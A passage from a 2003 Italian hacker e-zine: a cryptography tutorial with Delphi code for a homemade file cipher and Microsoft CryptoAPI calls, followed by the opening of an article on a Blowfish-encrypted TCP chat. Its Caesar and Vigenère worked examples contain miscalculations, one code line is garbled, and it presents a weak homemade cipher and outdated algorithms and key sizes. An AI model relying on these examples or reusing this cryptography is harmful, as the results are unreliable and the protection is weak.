di cifratura detti rispettivamente: | | simmetrici, e a chiave pubblica o asimmetrici. Il metodo | | simmetrico si può anche definire convenzionale visto che | | è sicuramente il più usato | | | | - METODI SIMMETRICI | | Questo è l’approccio tradizionale al problema: già | | Giulio Cesare aveva l’abitudine di comunicare gli ordini | | ai suoi subalterni, durante le campagne di guerra, in | | maniera cifrata. Il suo sistema era abbastanza semplice | | e consisteva nel sostituire una lettera del testo posta | | K posti avanti nell’alfabeto, e cioè : | | | | testo in chiaro: CIAO | | testo cifrato: FNDR | | questo per K = 3. | | | | Il metodo è decisamente debole, visto che un analista | | non deve far altro che indovinare il valore di K | | tentando tutte le possibili lettere dell’alfabeto.Si può | | rendere più complicata la decifratura usando una tabella | | o più di una: nel Cifrario di Vigenere, per esempio, il | | valore di K è determinato per mezzo di una piccola | | chiave ripetuta, ad ogni passo si aggiunge l’indice | | della lettera corrente della chiave all’indice della | | lettera corrente del testo determinando l’indice della | | lettera del testo cifrato. Se: | | | | chiave: ABC | | testo in chiaro: CIAO A TUTTI | | testo cifrato: DHDP C ZVVZL | | | | Volendo possiamo impiegare tabelle differenti per | | ciascuna lettera, invece che semplici scostamenti, ed | | inoltre più la chiave è lunga maggiore è la sicurezza, | | fino al limite della chiave lunga quanto il messaggio, | | caso detto Cifrario di Vernam o one-time pad e | | considerato l’unico sistema dimostrabilmente sicuro. | | Nella codifica in binario il sistema più semplice è | | quello di porre in relazione di or-esclusivo bit a bit | | il testo con una data chiave; la cosa interessante del | | metodo, e la sua debolezza, è che il decifrare coincide | | con il cifrare: il testo in cifrato è l’or-esclusivo | | del testo in chiaro e della chiave, viceversa facendo | | l’or-esclusivo tra testo cifrato e chiave si ottiene il | | testo in chiaro. Una conseguenza diretta di tal metodo | | è che si può risalire alla chiave avendo il testo in | | chiaro.Non essendo applicabile il sistema one-time pad, | | in generale, nelle applicazioni reali, si rende | | necessaria una sua approssimazione, con la messa a punto | | di un sistema in grado di generare numerose | | pseudo-chiavi dalla chiave originaria da porre in | | relazione di or-esclusivo bit a bit con il messaggio; | | il sistema così definito potrebbe essere ulteriormente | | complicato facendo una sostituzione non lineare (bit a | | bit), ma a blocchi.Nel listato seguente un esempio di | | metodo simmetrico che utilizza una stringa di sei | | caratteri al massimo, dalla quale sono derivati due | | valori che serviranno per la codifica. | | | | ________________________________________________________ | | unit Crypt; | | | | interface | | | | const | | Lock: array [1..7] of char =('C', 'I', 'F', 'R', 'A', | | 'T', 'O'); | | MaxBuf = 30000; | | TmpFile = 'temp.xxx'; | | | | function Decifra(FileIn: string; FileOut: string; | | PassWord: string): Boolea0. | | n; | | procedure Cifra(FileIn: string; FileOut: string; | | PassWord: string); | | | | implementation | | | | procedure Cifra(FileIn: string; FileOut: string; | | PassWord: string); | | var | | I: Integer; | | j: Integer; | | x: Integer; | | Base1: Byte; | | Base2: Byte; | | Buffer: array [1..MaxBuf] of Byte; | | Sorgente: File; | | Destinazione: File; | | ByteLetti: Extended; | | begin | | j := Length(Password); | | Base1 := 0; | | Base2 := 0; | | for I := 1 to j do begin | | Base1 := Base1 + (Ord(Password[i]) * i); | | Base2 := Base2 + (Ord(Password[i]) * j); | | j := j - 1; | | end; | | AssignFile(Sorgente, FileIn); | | ByteLetti := 0; | | Reset(Sorgente, 1); | | AssignFile(Destinazione, TmpFile); | | Rewrite(Destinazione, 1); | | BlockWrite(Destinazione, Lock, 7); | | BlockWrite(Destinazione, Base1, 1); | | BlockWrite(Destinazione, Base2, 1); | | BlockRead(Sorgente, Buffer, MaxBuf, x); | | ByteLetti := ByteLetti + x; | | while x > 0 do begin | | for I := 1 to x do begin | | Base1 := Base1 - i; | | Base2 := Base2 + i; | | if odd(i) then | | Buffer[i] := Buffer[i] - Base1 | | else | | Buffer[i] := Buffer[i] + Base2; | | end; | | BlockWrite(Destinazione, Buffer, x); | | BlockRead(Sorgente, Buffer, MaxBuf, x); | | ByteLetti := ByteLetti + x; | | end; | | CloseFile(Sorgente); | | CloseFile(Destinazione); | | Rename(Destinazione, FileOut); | | end; | | end; | | | | function Decifra(FileIn:string;FileOut:string;PassWord: | | string):boolean; | | var | | I: Integer; | | j: Integer; | | x: Integer; | | Base1: Byte; | | xBase1: Byte; | | Base2: Byte; | | xBase2: Byte; | | Buffer: Array [1..MaxBuf] of byte; | | Buffer2: array [1..MaxBuf] of byte; | | Sorgente: File; | | Destinazione: File; | | ByteLetti: Extended; | | begin | | j := Length(Password); | | Base1 := 0; | | Base2 := 0; | | for I := 1 to j do begin | | Base1:= Base1 + (ord(Password[i]) * i); | | Base2:= Base2 + (ord(Password[i]) * j); | | j := j - 1; | | end; | | AssignFile(Sorgente, FileIn); | | Reset(Sorgente, 1); | | BlockRead(Sorgente, Buffer, 7); | | BlockRead(Sorgente, xBase1, 1); | | BlockRead(Sorgente, xBase2, 1); | | if not ((Base1 <> xBase1) or (Base2 <> xBase2)) then | | begin | | ByteLetti := 0; | | AssignFile(Destinazione, TmpFile); | | Rewrite(Destinazione, 1); | | BlockRead(Sorgente, Buffer, MaxBuf, x); | | ByteLetti := ByteLetti + x; | | while x > 0 do begin | | for I := 1 to x do begin | | Base1 := Base1 - i; | | Base2 := Base2 + i; | | if odd(i) then | | Buffer[i] := Buffer[i] + Base1 | | else | | Buffer[i] := Buffer[i] - Base2; | | end; | | BlockWrite(Destinazione, Buffer, x); | | BlockRead(Sorgente, Buffer, MaxBuf, x); | | ByteLetti := ByteLetti + x; | | end; | | CloseFile(Sorgente); | | CloseFile(Destinazione); | | Rename(Destinazione, FileOut); | | Result := True; | | end else begin | | CloseFile(Sorgente); | | Result := False; | | end; | | end; | | | | end. | | | | ________________________________________________________ | | | | - METODI ASIMMETRICI | | Nelle applicazioni commerciali, come trasferimenti di | | fondi, sistemi di commercio on line o altro, il problema | | della distribuzione delle chiavi potrebbe essere oneroso | | in termini di tempo e soldi, oltreché particolarmente | | insicuro: il messaggio contenente la chiave potrebbe | | essere intercettato prima di arrivare al destinatario | | e la stessa chiave, comunque non potrà essere mantenuta | | a lungo, così nuove chiavi e nuovi problemi.Sono stati | | sviluppati per questo i metodi a chiave pubblica, la | | cui idea base è quella che un utente dovrebbe possedere | | due chiavi: una di pubblico dominio ed una strettamente | | privata. Per trasmettere un messaggio M, il mittente | | preleva la chiave del destinatario e con questa mette | | in cifra M; il messaggio così cifrato viene | | rappresentato con C = P(M), dove C è il testo cifrato e | | P la chiave pubblica. Il destinatario decifrererà M con | | S, cioè con la sua chiave segreta (privata). | | | | Lo schema base per il funzionamento di questo metodo è | | | | 1. S(P(M)) = M per qualsiasi M | | 2. tutte le coppie (S,P) sono distinte | | 3. derivare S da P deve essere altrettanto | | difficile che decifrare M | | 4. semplicità di calcolo di S e P. La prima regola | | è fondamentale, le seconde due dovrebbero | | garantire la sicurezza, la terza rende | | fattibile il metodo. | | | | | | I metodi asimmetrici sono, in genere, molto meno | | performanti in termini di tempo, rispetto ai simmetrici; | | per questo motivo sono usati di solito per codificare | | chiavi di sessione o per firmare digitalmente i messaggi | | Firmare digitalmente un messaggio può essere utile sia | | che si spedisca un messaggio in chiaro sia cifrato; la | | firma è generata tramite un metodo a chiave pubblica: S | | è usata per firmare il messaggio e P per controllare la | | validità della firma. | | | | | | - LE CRYPTOAPI | | Le Microsoft Cryptographic API, CryptoApi per amor di | | brevità, forniscono dei servizi che permettono agli | | sviluppatori di utilizzare la crittografia nelle loro | | applicazioni, senza conoscere alcunché della sottostante | | implementazione; costituiscono inoltre uno standard | | aperto che permette l’esistenza di diversi subsistemi | | di cifratura che l’utente può utilizzare in modo | | trasparente. | | | | Con l’architettura a Cryptographic Service Provider | | (CSP), viene fornito un modo sicuro di accesso ai | | servizi crittografici da parte delle applicazioni. Tre | | sono le caratteristiche che ne garantiscono sicurezza e | | portabilità: | | 1.Le applicazioni non possono direttamente accedere alle | | chiavi, che sono generate internamente al CSP, ma | | possono usarle solo tramite handle. | | 2.Le applicazioni non possono specificare i dettagli | | delle azioni crittografiche: il CSP permette solamente | | di spedire dei comandi e cioè “cifra i dati con il tal | | metodo”. | | 3.Le applicazioni come per le chiavi, non possono | | gestire direttamente le firme digitali. | | | | Vediamo adesso come un CSP è strutturato. | | Le caratteristiche di un Provider sono quelle di | | possedere un nome che, per esempio, in quello fornito | | di default è “Microsoft Base Cryptographic Provider | | v1.0”, ed un tipo, che in quello appena citato è | | PROV_RSA_FULL. Il nome dovrebbe essere unico, per | | evitare conflitti, mentre il tipo può non esserlo.Il | | campo dei metodi crittografici è molto grande, quindi è | | stata sentita la necessità di raggrupparli in famiglie, | | ognuna con un proprio insieme di formati di dati, e di | | modi per manipolarli. Quando una applicazione si | | connette ad un CSP, le funzioni chiamate si | | comporteranno in base al tipo prescelto che detterà le | | regole delle azioni. Ogni tipo avrà specificate le | | seguenti caratteristiche: | | | | 1. Il metodo di scambio delle chiavi sarà unico, | | in caso il CSP lo preveda. | | 2. Il metodo di firma digitale sarà unico, sempre | | se fornito. | | 3. Il formato binario della chiave esportata, Key | | Blob, sarà unico e specificato dal CSP. | | 4. Il formato della firma digitale sarà unico e | | relativo al tipo: in questo modo si assicura | | che una firma generata da un Provider sarà | | riconosciuta da un altro attivato con lo stesso | | tipo. | | 5. La generazione di chiavi di sessione seguirà un | | metodo unico e definito dal tipo. | | 6. La lunghezza della chiave o delle coppie di | | chiavi è specificata dal tipo del Provider. | | 7. Il tipo specifica spesso un modo di default per | | varie opzioni. | | | | Ogni applicazione collaborerà generalmente con un solo | | Provider, anche se è possibile farlo con tutti quelli | | installati nel sistema, ed è importante riuscire ad | | ottenere tutta la possibile documentazione sul CSP che | | si intende usare, per poterlo usare al meglio. | | | | Un certo numero di tipi sono già stati definiti | | | | Provider Scambio chiavi Firma Cifratura Hashing | | PROV_RSA_FULL RSA RSA RC2, RC4 MD5, SHA | | PROV_RSA_SIG n/a RSA n/a MD5, SHA | | PROV_DSS n/a DSS n/a SHA | | PROV_FORTEZZA KEA DSS Skipjack SHA | | PROV_SSL RSA RSA vari vari | | PROV_MS_EXCHANGE RSA RSA CAST MD5 | | | | Se due applicazioni intendono cooperare dovranno | | necessariamente utilizzare lo stesso tipo, anche se | | potrebbe esserci una parziale compatibilità tra tipi | | diversi. Chiunque potrebbe scrivere un suo proprio CSP | | e definire un nuovo tipo, ed è chiaro che in questo | | caso avrà la responsabilità di distribuire il nuovo | | Provider agli autori le cui applicazioni lo useranno. | | Segue la descrizione degli algoritmi menzionati nei | | vari tipi: | | | | Metodo Descrizione | | ________ ____________ | | CAST Sviluppato da C.M. Adams e S.E. Tavares, | | simile al DES, cifratura a blocchi di 64 bit. | | DES Standard stabilito dal National Institute of | | Standard and Tecnology, cifratura a blocchi | | di 64 bit e chiave di lunghezza fissa di 56 | | bit. | | DH Diffie-Hellman, algoritmo a chiave pubblica | | usato per lo scambio di chiavi. | | DSS Algoritmo per la generazione di firme | | digitali: Digital Signature Standard. | | KEA Versione modificata del DH | | MD2 Algoritmo di Hash che produce un valore a 128 | | bit. | | MD4 Algoritmo di Hash che produce un valore di | | 128 bit. | | MD5 Versione modificata di MD4. | | RC2 Cifratore a blocchi di 64 bit. | | RC4 Cifratore bit a bit (stream). | | RSA Inventato da R. Rivest, A. Shamir e L. | | Adleman, è usato sia per codificare dati che | | per la generazione di firme | | SHA Algoritmo di Hash che produce un valore di | | 160 bit. | | Sckipjack Questo metodo è usato dai chip Clipper e | | Capstone, cifratore a blocchi con chiave | | fissa da 80 bit. | | | | - CONNETTIAMOCI AL PROVIDER | | Con il SO, Microsoft ci fornisce il suo RSA Base | | Provider, che chiamerò Provider di default, che | | implementa RSA con una lunghezza di chiave di 512 bit, | | RC2 e RC4 con lunghezza di chiave di 40 bit e MD2, MD5 | | e SHA.Cominciamo a collegarci al Provider...La nostra | | applicazione dovrà chiamare la funzione | | CryptAquireContext, specificando il tipo e eventualmente | | il nome (non fornendo il nome sarà invocato quello di | | default, cioè quello Microsoft), che in questo modo | | cercherà la presenza nel registro di configurazione del | | CSP specificato controllando l’implementazione del tipo | | e, in caso affermativo, restituirà un handle al Provider | | altrimenti l’errore conseguente. | | | | Il prototipo della funzione: | | | | function CryptAcquireContext(phProv: PHCRYPTPROV; | | pszContainer: PAnsiChar; | | pszProvider: PAnsiChar; | | dwProvType: LongInt; | | dwFlags: LongInt) :BOOL; stdcall; | | | | e la chiamata tipo: | | | | if not CryptAcquireContext(@hProv, nil, nil, | | PROV_RSA_FULL, 0) then | | | | | | Nel parametro hProv verrà, in caso di successo, | | immagazzinato l’handle che verrà poi utilizzato per | | comunicare con il Provider; nel secondo parametro viene | | passato un Pchar che contiene il nome del contenitore | | della chiave, altrimenti fornendo nil, si farà in modo | | che nel Provider di default, il nome sia quello usato | | dall’utente al momento del logon nel sistema; | | importante è notare che in caso di altri CSP, potrebbe | | non esserci un nome predefinito. In pszProvider | | forniremo il nome del Provider,(come sopra, se nil, | | sarà invocato quello di default) poi il tipo in | | dwProvType. L’ultimo parametro è sempre settato a 0 per | | quello che riguarda le normali operazioni, altrimenti | | specificando CRYPT_NEWKEYSET si farà in modo che sia | | creato un contenitore per la chiave con per nome | | pszContainer o, ancora, se nil, il nome predefinito; | | l’altra opzione, CRYPT_VERIFYCONTEXT, ci consente | | solamente di verificare le firme digitali.L’handle così | | ottenuto dovrà essere rilasciato alla fine delle nostre | | operazioni con la CryptReleaseContext, funzione prende | | due parametri: il primo dovrà essere il nostro handle | | mentre il secondo dovrà essere zero, visto che per ora | | è riservato.Adesso che abbiamo il nostro handle possiamo | | cominciare a preoccuparci delle chiavi. Esistono due | | tipi di chiavi: di sessione e le coppie | | pubbliche/private; come già detto, le prime vengono | | usate generalmente per utilizzare algoritmi simmetrici | | in cui la stessa chiave è usata sia per cifrare che per | | decifrare, mentre le coppie pubbliche/private sono usate | | nei metodi asimmetrici.La chiave di sessione è creata a | | partire da una stringa data dal CSP e non è | | immagazzinata in nessun modo, a meno che noi non | | desideriamo esportarla esplicitamente. Viene creata | | chiamando la CryptGenKey, se vogliamo generarla exnovo, | | o la CryptDeriveKey, se deriverà da una parola da noi | | fornita che può non essere necessariamente una stringa. | | | | function CryptGenKey(hProv: HCRYPTPROV; | | Algid: ALG_ID; | | dwFlags: LongInt; | | phKey: PHCRYPTKEY):BOOL; stdcall; | | | | | | function CryptDeriveKey(hProv: HCRYPTPROV; | | Algid: ALG_ID; | | hBaseData: HCRYPTHASH; | | dwFlags: LongInt; | | phKey: PHCRYPTKEY) :BOOL; stdcall; | | | | In caso si desideri utilizzare un metodo simmetrico, nel | | parametro Algid è specificato l’algoritmo da usare per | | ottenere la chiave di sessione, che nel caso del | | Provider di default può essere CALG_RC2 o CALG_RC4. | | | | Se invece il metodo usato è asimmetrico, i valori | | saranno AT_KEYEXCHANGE per utilizzare la chiave per la | | esportazione o AT_SIGNATURE per la firma digitale. La | | differenza tra le due funzioni è nel parametro | | hBaseData, che specifica l’handle ad un valore hash | | generato dalla parola fornita tramite le funzioni | | CryptCreateHash e CryptHashData. | | | | if not CryptCreateHash(hProv, CALG_MD5, 0, 0, @hHash) then | | ... | | if not CryptHashData(hHash, PBYTE(Password), StrLen | | (Password), 0) then | | ... | | if not CryptDeriveKey(hProv, AT_SIGNATURE, hHash, | | CRYPT_EXPORTABLE, @hKey) then | | ... | | //distrugge l’oggetto hash | | CryptDestroyHash(hHash); | | | | La chiave qui ottenuta hKey (che in realtà è un handle) | | viene usata per firmare un messaggio ed è possibile | | esportarla visto che il parametro dwFlags è | | CRYPT_EXPORTABLE. Altri valori possono essere forniti | | in dwFlags anche se il più comune è 0. Per l’elenco | | completo fare riferimento alla documentazione ufficiale. | | Una volta generata la chiave, possiamo considerare di | | cifrare un qualcosa. Le funzioni che ci servono sono: | | | | function CryptEncrypt(hKey: HCRYPTKEY; | | hHash: HCRYPTHASH; | | Final: Bool; | | dwFlags: LongInt; | | pbData: PBYTE; | | pdwDataLen: PLongInt; | | dwBufLen: LongInt): BOOL; stdcall; | | | | | | function CryptDecrypt(hKey: HCRYPTKEY; | | hHash: HCRYPTHASH; | | Final: Bool; | | dwFlags: LongInt; | | pbData: PBYTE; | | pdwDataLen: PLongInt):BOOL; stdcall; | | | | e di seguito un loro possibile utilizzo: | | | | repeat | | // legge dwBlockLen byte dal file sorgente | | BlockRead(hSource, pbBuffer^, dwBlockLen, dwCount); | | Endof := Eof(hSource); | | // cifra i dati | | if not CryptEncrypt(hKey,0,Endof,0,pbBuffer,@dwCount, | | dwBufferLen) then begin | | ... | | end; | | BlockWrite(hDestination, pbBuffer^, dwCount); | | until Eof(hSource); | | | | | | Il codice corrispondente per decifrare è | | fondamentalmente identico.Nell’esempio che accompagna | | l’articolo potrete vedere all’opera un semplice | | componente, installabile nella palette di Delphi, che | | permette di svolgere le operazioni base per la cifratura | | e successiva decifratura di un file data una password. | | Se la parola d’ordine non fosse specificata, | | automaticamente ne verrà creata una casuale che sarà | | immagazzinata nello stesso file, per permettere una sua | | successiva decifrazione.Le proprietà definite sono | | soltanto cinque: | | | | Source: nome del file plaintext. | | Destination: nome del file ciphertext. | | Password: parola d’ordine. | | Mode: permette di usare un metodo stream (RC4) o a | | blocchi (RC2). | | InitUser: permette di inizializzare il CSP. | | | | Da notare la proprietà InitUser che definisce, se | | impostata a true, il client predefinito per il CSP, | | impostando il container per le chiavi e creandovi dentro | | le chiavi per la firma digitale e per lo scambio. | | Questa operazione viene di solito fatta una sola volta | | prima di utilizzare il Provider e non serve | | ulteriormente, almeno fino alla reistallazione del SO. | | I metodi da chiamare sono Encrypt e Decrypt | | rispettivamente, e non prendono nessun parametro. | | Nessun controllo è fatto sul formato del file cifrato, | | quindi porre attenzione ad utilizzare lo stesso | | algoritmo per decifrare il file, altrimenti i risultati | | non saranno quelli sperati!Oltre al componente troverete | | anche la traduzione completa del wincrypt.h | | (wincrypt.pas), ed un piccolo esempio di utilizzo del | | componente. | | | | Questi sono soltanto i passi fondamentali per cifrare | | un file con le CryptoApi ed i servizi offerti non sono | | tutti qui, ma coprono l’intero argomento, con | | particolare enfasi sulla gestione delle firme digitali | | e sulla loro validazione. | | | | VAbbè ragazzi che dire a questo punto vi ho presentato | | questo tutorial... saluto tutti e vi do appuntamento al | | prossimo tutorial | | | | ciao a tutti | | | | (Y83RDVD3 >>> cifratemelo... se capite :) | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ L'APPRENDiSTA STREG0NE #09 - 01/06/2003 | | BL0WCHAT - UNA CHAT CRiTTATA iN DELPHi [Ippatsu] 0x1E/0x20 | +--------------------------------------------------------------------------+ | | | | | | | Blowchat: | | una chat TCP crittata (in Delphi) | | | | Autore: Ippatsu Man | | E-mail: ippatsu_man@hotmail.com | | Data: Gennaio 2003 | | Tempo: Piove, c'è il sole... boh! | | Musica: The Eminem Show | | | | | | Che bello! In questo articolo metto anche il sommario =) | | | | SOMMARiO | | 1 Cosa ci serve... | | 1.1 Le conoscenze necessarie | | 1.2 Gli strumenti necessari | | 2 Let's go! | | 2.1 Un abbozzo del progetto | | 2.2 Il lato server | | 2.3 Il lato client | | 3 Shutdown =) | | 3.1 Migliorie possibili | | 3.2 Credits & Dediche | | 3.3 Contattarmi | | | | | | +----------------------------------------------------------------------+ | | | Cosa ci serve... _________________________________________________| | | |____________________/ | | | | ======================================================================== | | Le conoscenze necessarie | | | | Scrivere una chat? Con il TCP? Crittata per di più? Azz... Chissà che | | abilità programmatoria serve! (Dove l'ho già letta questa frase? :)) E | | invece no! Quello che ci serve è: | | | | 1) Una vaghissima conoscenza del protocollo TCP e dell'architettura | | client - server | | 2) Masticare un po' di crypto (quella che spaccia Zer0 è ottima =)) | | 3) Conoscere un po' Delphi (ovviamente =)) | | | | Per quanto riguarda il punto due leggetevi il mega-articolo in più | | puntate di Zer0 iniziato su OQ #3 e non ancora terminato... a dire il | | vero imparerete anche troppo per quello che ci serve, ma di certo non vi | | farà male. | | Per il punto tre non posso aiutarvi. Questo è un articolo per chi già | | conosce un po' l'object pascal. Non che servano grandi conoscenze, anzi, | | ma se non sapete cos'è una variabile, una costante e le altre basi della | | programmazione lasciate perdere; ma se a scuola vi hanno insegnato anche | | solo "Hello world" in pascal, allora potete continuare a leggere. | | Per il punto uno... uargh! Non devo fare un articolo sul TCP! Uff, ma si | | suppone che se state leggendo questo articolo è per imparare qualcosa di | | nuovo... D'accordo... | | Di sicuro avete sentito parlare anche dal salumiere del protocollo TCP, | | che penso sia il più utilizzato in assoluto su internet. Come funzica? | | Spiegazione terra-terra a prova di cerebroleso: ogni computer collegato | | ad internet ha un indirizzo, detto IP, che è costituito da 4 numeri tra | | 0 e 255, ad esempio: 80.155.23.180. Ogni computer, utilizzando i socket | | messi a disposizione dal suo sitema operativo può aprire delle porte (è | | proprio il termine tecnico che si utilizza) identificate da un numero. | | Un computer che si mette in ascolto su una porta è detto server. Un | | computer che si collega alla porta messa a disposizione dal server viene | | detto client. Alla stessa porta di un server può collegarsi più di un | | client. Come sia possibile, non ci interessa. Questo è tutto quello che | | dovete sapere dell'architettura client-server. | | Chiedo scusa per la spiegazione sommaria, terra terra e imprecisa, ma | | Delphi gestisce i socket ad altissimo livello, usare WSAStartup per ora | | non rientra nei nostri scopi. Quando potrò installare Win 2000 allora | | scriverò un articolo sulla programmazione di raw packets in Delphi, e i | | più esigenti saranno accontentati. Cosa? Ho sentito qualcuno dire che la | | programmazione di raw packets sotto windows non è possibile! Chi è | | stato? Tu, tu e tu! Fuori dalla classe! Sotto win 9x in effetti non si | | può, ma su win 2000 e xp si può! | | Negli allegati (se tutto va bene) dovreste trovare i codici completi del | | client e del server. Vabbè, torniamo a bomba! | | | | | | ======================================================================== | | Gli strumenti necessari | | | | Prima di tutto vi serve Delphi (forse va bene anche Kylix, per gli amici | | del pinguino) dalla versione 4 in su. Poi dobbiamo crittare. Useremo uno | | standard più che testato, siamo tutti paranoici qui o sbaglio? La scelta | | è caduta su Blowfish in modalità CBC (molto veloce e molto sicuro (si | | spera)). La programmazione di qualcosa del genere è fuori dalla portata | | di molti (compreso il sottoscritto), specie se le routine principali si | | vogliono molto veloci (scritte in assembly);quindi useremo un componente | | potente, flessibile e con sorgenti (così i più folli possono controllare | | che non ci siano backdoor di sorta): TCipher scritto da Hagen Reddmann. | | Lo potete trovare sulla "Delphi Super Page" (http://delphi.icm.edu.pl). | | Se proprio non lo trovate (ma l'avete cercato) citofonatemi al mio | | indirizzo e-mail e ve lo mando. | | Adesso ci manca solo qualcosa per utilizzare il TCP. Potremmo usarlo a | | basso livello utilizzando le funzioni contenute in winsock.pas, ma qui | | siamo tutti pigri... Quindi useremo una delle più fenomenali raccolte di | | componenti open-source esistenti per Delphi e BCB: i componenti Indy | | (che sta per INternet DIrect). In origine si chiamavano Winshoes (alzi | | la mano chi ha apprezzato il gioco di parole), ma siccome adesso girano | | anche su Linux hanno cambiato nome. Attualmente è uscita la versione 9.0 | | che potete scaricare da http://www.nevrona.com/indy mentre la versione | | 10 è ancora in beta. Se avete Delphi 3 dovrete utilizzare Winshoes 8.0, | | e in ogni caso scaricare l'ultimo update pack per il vostro Delphi che | | trovate qui: http://www.borland.com/devsupport/delphi/downloads/ In ogni | | caso leggetevi tutte le istruzioni sul sito di Indy, perchè come si | | installa un package o un componente non ve lo spiego! Ooooh... siete | | proprio lazy! | | Ah, scaricate anche gli esempi di utilizzo di Indy, sono tutti ottimi | | per imparare (e parecchio codice per la chat lo prenderemo proprio di | | lì). Se avete Delphi 6 i componenti Indy vengono installati di default, | | ma non è l'ultima versione. Bene, direi che abbiamo tutto! Possiamo | | iniziare! | | ADDENDUM: se utilizzate Delphi 7 (e presumibilmente anche Delphi 6, ma | | non ne ho la certezza) i componenti TCipher rifiuteranno di installarsi. | | Per risolvere andate al menu "Tools" di Delphi, selezionate "Enviroment | | Options", andate al tab "Library" e in "Library Path" aggiungete | | ";$(DELPHI)\source\toolsAPI" e chiudete. Poi aprite il file "decREG.pas" | | (che è quello che si occupa della registrazione dei componenti TCipher), | | all'uses cancellate "DsgnIntf" e sostituite con "DesignEditors, | | DesignIntf" e salvate il tutto. Ora l'installazione avverrà senza | | problemi! | | | | | | +----------------------------------------------------------------------+ | | | Let's go! _________________________________________________| | | |____________________/ | | | | ======================================================================== | | Un abbozzo del progetto | | | | La chat sarà organizzata così: ci sarà un server in ascolto a cui si | | collegheranno i vari client. Ogni client manderà i propri messaggi al | | server, che si occuperà di mandarlo a tutti gli altri client. Prima di | | collegarsi tutti i client dovranno inserire la passphrase, uguale per | | tutti, e l'hash MD5 di questa passphrase sarà utilizzato come chiave per | | crittare i messaggi in uscita. Vediamo se riesco a fare un disegno | | ASCII... | | | | CLIENT1 | | Messaggio crittato | | | | | | | | V | | SERVER "Broadcast" | | / | \ | | / | \ | | / | \ | | / | \ | | V V V | | CLIENT2 CLIENT3 CLIENT4 Decrittazione locale | | | | (Che schifo...) | | Su internet quindi circoleranno solo messaggi crittati, in quanto la | | decrittazione avviente solo in locale per ogni client. Ora vediamo di | | essere un po' più precisi. | | Il server si metterà in ascolto sulla porta 36968. Per ogni client che | | si connetterà verrà creato un thread che si occuperà di gestirlo. | | L'unico compito del server sarà quello di ricevere i messaggi crittati | | da ogni client e rispedirli a tutti, compreso il mittente. Il client non | | è molto più complesso. Ci si connette al server, poi viene creato un | | thread che si occupa di ricevere i messaggi. Tutto qui! | | Per la cronaca, se non sapete cos'è un thread leggetevi il mio articolo | | uscito su OQ #7 (che bello! faccio delle autocitazioni bibliografiche!). | | | | | | ======================================================================== | | Il lato server | | | | Oooh, finalmente si inizia a giocare! Dunque, avviate Delphi e aprite un | | nuovo progetto. Chiamate la form fmServer, datele la caption che volete, | | metteteci sopra uno TSpeedButton (sbAttiva), impostate la proprietà | | GroupIndex a 1, AllowAllUp a true e la caption a qualcosa di sensato. | | Questo controllo ci servirà per attivare e disattivare il server. Ora | | mettete una TLabel (lbConnClients) che indicherà il numero di client | | connessi e immettete "0" come caption. Abbiamo quasi finito. Inserite un | | TidTCPServer (lo trovate alla pagina "Indy Servers"), settate la | | proprietà DefaultPort a 36968 e "name" semplicemente a "TCPServer". | | Ora scriviamo il pochissimo codice necessario per il funzionamento del | | server. All'evento OnClick di sbAttiva associamo questo codice: | | | | TCPServer.Active:=sbAttiva.Down; | | | | Così abbiamo fatto in modo che quando il pulsante è premuto il server è | | attivo, quando è su è inattivo. Ma è più semplice del Visual Basic! Sì, | | ma con la differenza che qui possiamo cambiare ogni singolo dettaglio. | | Francamente: winsck.ocx ci fa una se*a. All'evento OnClose della form | | scriviamo: | | | | TCPServer.Active:=false; | | | | In questo modo quando viene chiusa la form viene disattivato il server. | | I più sagaci penseranno: "ehi! poco fa hai detto che useremo un thread | | per ogni connessione! E se chiudiamo così che ne facciamo?". Eheh, è qui | | il bello: tutti i thread sono gestiti automaticamente dai componenti | | Indy, che si occuperanno di distruggerli. Ovviamente volendo possiamo | | ottenere il controllo totale dei thread, ma perchè farlo? Ora | | aggiungiamo due procedure private alla nostra form: IncClientCount e | | DecClientCount. Ecco il codice da associarvi: | | | | procedure TfmServer.DecClientCount; | | begin | | lbConnClients.Caption:=IntToStr(StrToIntDef(lbConnClients.Caption,1)-1); | | end; | | | | procedure TfmServer.IncClientCount; | | begin | | lbConnClients.Caption:=IntToStr(StrToIntDef(lbConnClients.Caption,0)+1); | | end; | | | | Qualcuno avrà già notato alcune migliorie che si possono apportare. Ne | | riparleremo nell'ultima sezione. A cosa serve questo codice? Lo useremo | | per incrementare o decrementare il numero nella caption di lbConnClients | | che in pratica indicherà il numero di client connessi al server. Ora | | implementiamo la procedura "Broadcast" (dove ho già sentito questa | | parola?), che si occuperà di far rimbalzare i messaggi ricevuti a tutti | | i client. Come fare? Beh, sappiamo che TCPServer crea un thread per ogni | | connessione; basterà accedere a questi thread. Ma questi non sono thread | | normali, ma una sottoclasse di nome TIdPeerThread, discendente dalla | | classe TIdThread, che guardacaso ha un'unica proprietà, Connection, che | | ha a sua volta un utilissimo metodo, WriteLn. A cosa servirà mai? Chi ha | | programmato in pascal può immaginarlo. Come organizzerà tutti i thread | | il nostro componente? E' lecito supporre che usi una TList, e in effetti | | si tratta di un suo discendente, TThreadList. Per potervi accedere è | | necessario prima bloccare i thread e poi sbloccarli. Ecco il codice: | | | | procedure TfmServer.Broadcast(msg: string); | | var x: integer; | | ClientList: TList; | | begin | | ClientList:=TCPServer.Threads.LockList; | | try | | for x:=0 to ClientList.Items.Count-1 do | | TIdPeerList(ClientList.Items[x]).Connection.Writeln(msg); | | finally | | TCPServer.Threads.UnlockList; | | end; | | end; | | | | Questa procedura è il cuore del server. Adesso nel codice associato | | all'evento onConnect di TCPServer richiamate la procedura IncClientCount | | e all'evento onDisconnect DecClientCount. Ricordate che stiamo operando | | dall'interno di un thread, quindi dovremo utilizzare Synchronize (vedete | | il codice sorgente se non avete capito che voglio dire).Ultimo tocco per | | finire il nostro server: all'evento onExecute associate questo codice: | | | | procedure TfmServer.TCPServerExecute(AThread: TIdPeerThread); | | begin | | while AThread.Connection.Connected do | | Broadcast(AThread.Connection.ReadLn); | | end; | | | | Cosa fa questo codice? In pratica dice: finchè il client è connesso, | | leggi quello che comunica e passalo alla procedura Broadcast. | | | | Errata corrige: mentre testavo il server ho notato che se si disattivava | | il server mentre c'erano dei client collegati veniva | | sollevata l'eccezione EIdTerminateThreadTimeout. Per non | | dover ricorrere a try-except vari ho deciso di inserire | | una procedura che si occupa di disattivare il server. | | Potete trovare la modifica nel file sorgente. | | | | Et voilà! Il nostro server è pronto! Via con il client! | | | | | | ======================================================================== | | Il lato client | | | | Adesso passiamo al client. Per iniziare lo progetteremo come se non | | dovessimo crittare nulla. In fondo anche quando utilizzeremo BlowFish, a | 